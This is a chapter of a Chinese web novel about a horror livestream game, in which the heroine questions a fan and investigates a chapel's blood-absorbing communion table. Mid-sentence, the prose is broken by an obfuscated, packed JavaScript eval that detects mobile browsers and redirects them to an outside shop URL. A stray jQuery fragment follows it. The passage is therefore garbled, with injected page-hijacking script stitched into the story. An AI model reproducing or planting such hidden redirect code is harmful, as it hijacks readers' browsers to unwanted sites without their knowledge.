【?明明都是我认识的字,怎么组在一起我看不懂了?】
【可以举报这个主播发战争财吧。】
【额,那些磕CP的怎么办?笑的我肚肚痛。】
【不管了,要用钞能力给我豹豹猫猫砸出一个正缘来。】
【呵呵,我们真有由不会输的!】
【别小看我们幸得成真。】
【爱播,能不能投一个都不叫。】
为了各自的主播,CP粉和唯粉站在同一战线,直播间达成了微妙的和平。
当然还有些理智粉丝没有搅进来,仍在自己爱播的直播间默默蹲守。
最终,于由以微小差距夺得魁首,而白成真在这场闹剧里挣盆满钵满,不说暴富,起码挣下了买第二瓶开心剂的心币。
“好了,拍卖结束,不用吵了。”白成真主动站出来维护局面,吃一次粉血馒头和吃无数次她还是分得清的。
她从地上站起来,拍了拍身上并不存在的灰,低头四下寻找,一片大平地,一览无余,压根找不到趁手的工具,只见她眼睛一转,从自己的背包中拿出了自己先前获得的道具——不屈的脑袋。
【拿了那么多心币,不在游戏商城买把锤子吗?】
【习惯吧,这就是主包的画风(捋胡子)】
【额,我可能站反CP了。】
【怎么办,我居然对这样的女子产生了一丝别样的情愫。】
【楼上的去看看整活榜吧,里面估计全是你爱播。】
“砰——砰——”白成真拿着那颗死不瞑目的脑袋一下,又一下砸向于由宿舍的窗户,脑袋自带的脑浆喷溅的同时,玻璃展开蛛网裂缝。
最后一击,白成真收起脑袋,一脚高抬踹了上去。窗户玻璃哗啦啦碎在半空,成为她帅气动作的掌声。
她用袖子覆盖手掌,撑着窗框跳进来中级工宿舍。
不得不说,官高一级,住宿条件好上不少,两个人的房间比低级员工的大通铺大了至少三分之一,还有独立卫浴。
白成真捏了捏自己的手指,走进了浴室。
由于直播间对玩家的隐私保护,观众们看不见浴室里发生了什么,只能听到阵阵引人遐想的水声。
【妈妈,这是我能看的吗?】
【会是我想的那样吗?】
【我就说我磕的CP是真的!】
不过五分钟,白成真头上系了条毛巾便出来了。审视她全身上下,袖口捋到胳膊肘,衣服领口微湿并无异样。
“把头上馅料洗掉舒服多了。”白成真不由喟叹一声。
看来是观众们想太多了。
宿舍里没有椅子,白成真顺势坐在于由床边。
一呼一吸间,她的眼皮仿佛灌了一吨铁,不自主往下垂。
眼皮还未合上,她猛地坐起,把头往墙上撞,困虫被撞死了,但头也磕破了,血流到眼睛里,红彤彤的,配上湿漉漉垂在脸侧的一绺一绺的头发,活生生一个从地狱爬出来的恶鬼,尤其在她抓住于由的头往墙上撞时。
“怎么了?”于由犹如新生婴儿懵懂来到世界第一次睁开眼看世界一样,看着白成真。
“你的头——嘶。”疼痛后知后觉,他捂住头,乖乖坐在地上等白成真的回答。
“躺在床上就会陷入睡眠,只能用这种方法叫醒你了。”白成真用裹头发的毛巾擦干净自己脸上的血迹后又进浴室拿了条新毛巾丢给于由。
于由完全没有对疼痛的怨恨,只有对白成真还想着给自己的暗喜,“拿新毛巾多浪费,用你那条不就好了。”
白成真翻了个白眼,没有接他的茬,用脏毛巾垫在臀下,席地而坐,“我接下来要问你一些问题,你要如实回答。”
于由用力点头,并拍着胸脯承诺:“必定知无不言!”
“你是不是在进副本之前就认识我?”
“嗯,我很喜欢你。”说这话时,于由眼睛里的星星就差掉出来双手奉上送给白成真了。
“只用回答问题,不要表达情感。”白成真看了眼窗外,漆黑浓郁的夜,还有时间。
“嗯……”
“你认识的我是现实世界中的我吗?”
“不是。”于由漫不经心地回答。
“你是新手。”这一次白成真没有带上疑问的语气。
“是的。”于由被问的一头雾水,但还是按实回答。
白成真笑了笑,从地上坐起来,准备打开门往外走,可门始终推不开,便转头眼神示意于由。
于由一路小跑到门边,用手推开了门,又问道:“为什么不继续问了?”
白成真眼睛轻轻一瞥,却在于由心里裂开一道峡谷,她漫不经心地说:“我问了你能答吗?”
于由拉住白成真的手,本想大声辩解,但两人已经来到室外,只好收住声音,顶着红红的眼眶,说:“我要怎么做你才能信任我?”
“你认识的我不是现在的我,没必要再粉我了。”白成真正脱开于由的手,往屠宰场深处走去,只余于由一人孤零零地佝偻在冷风中。
白成真自觉话已经说得很清楚了,他要是聪明一点便能明白。
他们不是一个世界的人。
于由说他不认识现实世界的白成真,那么便是通过副本认识的,可他是实打实的新人,在此之前没有进过副本,但副本刚开始时对副本规则的理解表明他对这场游戏并不陌生,白成真只能得出一个结论,于由先前也是直播间观众中的一员。
除了确认这一件事,白成真不得不面对另一个既定事实——她曾经进入过副本。
现在的她完全不记得这档子事,说明她真的攒下了能买下退出权的巨额s币,而她再次出现在这儿,证明退出权不能防止玩家再次进入游戏。
“真是个坏消息啊。”白成真不由感叹,但这还有一个更加迫近的坏消息。
她抬头看,那灰扑扑的穹顶,下面装饰着斑斓的彩窗,在黑暗中,彩块深浅不一,好似一只只眼睛,监视屠宰场的人儿,尤其是白成真,她感受到了浓烈的恶意。
没有供奉神像的教堂还叫作教堂吗?
白成真推开空落的教堂,里面只剩下两张桌子,一张绘制神明画像的桌子,还有一张食用神明赐下食物的桌子,简陋至极。
她转了一圈,的确和高幸说的一样,看到是什么样就是什么样,毫无探索价值。
白成真不信
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501844|202776||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,教堂作为与神对话的场所,是屠宰场的信仰所在,绝不会像表面一样看上去这么简单。
长餐桌已经整理干净了,白成真摸了摸,敲了敲,闻了闻,没有异常,目光转向那张圣餐桌,决定员工升职与否的桌子。
这一回,不用她凑近,一股血腥味钻进她的鼻腔。
每个人不过献出来星点指尖血,怎么会有这么大的味道?
白成真用指腹轻轻按压,桌面竟然印下了白成真的指纹,与此同时,一滴血从桌角滴下,“啪嗒”声在教堂无尽回转。
若说画神像之时,这桌子只是一张吸血性较好,桌角锋利一点的桌子,那现在它变成一块巨大的海绵,还是一块回弹能力极差的海绵。
白成真轻轻碰了一下,上面便留下了一个印子,虽说极浅,但在有心人眼里就是一个窟窿了。
补救办法也好想,海绵瘪了添水进去不就行了。
白成真很没有道德感地往塌陷处吐了一口口水。
眼见口水消失殆尽,可桌面没有一点回弹的迹象,于是她又吐了几口,没有反应,倒是把她搞得口干舌燥。
“难道要对症下药?”白成真低声嘟囔,但流出来的那一滴血早已干涸,废了她一番巧力扣下来,清理干净。
她叹了口气,两指相搓,食指凸起的疤痕顺滑,“孩子这一次一定要争气,不要被别人看轻。”
圣餐桌的桌角同样被海绵化,用不了了,身边没有趁手的工具,犹豫几秒,白成真像是要上战场冲锋陷阵,不知生死的勇士一般把手指放进嘴里,狠狠咬了一口,眼泪从眼角挤出,血却没有一滴。
她看着自己完好无损,牙印都未留下的食指陷入沉思。这一次,她摘了两根手指,分别是食指和中指,食指对应她最尖的那颗牙,而中指对应的是刚刚咬食指的牙齿。
终于,铁锈味蔓延在口腔。
她拿出来一看,流血的是中指,而食指只沾上了一层亮晶晶的口水。
自我伤害远比他人伤害疼得多,思及此,白成真额头的伤口开始幻疼。如果副本是正常世界,她早就被精神科医生问候了。
不过,自己咬伤自己要不要打疫苗……别指望她说出疫苗全称。
一滴血严丝合缝落在那窝凹陷。一秒,两秒,消失后凹陷如故。
“你还挺挑食。”白成真不由吐槽,可她的思绪围着圣餐桌绕了几圈,挑不出一个这娇宠小孩爱吃的东西。
难不成是猪血?白成真摇头否定,这儿的血没有猪血的膻味。
那若是人血,为何自己的不行?
桌面不能乱碰,她便探查桌座。依旧是摸敲嗅三步,只是这一次在第二步便有了发现,圣餐桌的桌座是空心的。
白成真摸着这块长方体的边缘,找到了一条缝,用自己算长的指甲把长方体的一面木板抠了下来。
里面竟然安放了一尊小神像,神像上面是一只漏斗,敞口的部分连接上方的桌面,漏嘴则直对着神像。
更令人咋舌的是,神像后面,是一台投影仪,打开后,发出的彩光汇聚成神像的模样,投射的地方便是圣餐桌。
也就是说,开心屠宰场员工信仰的神,只是个人造物。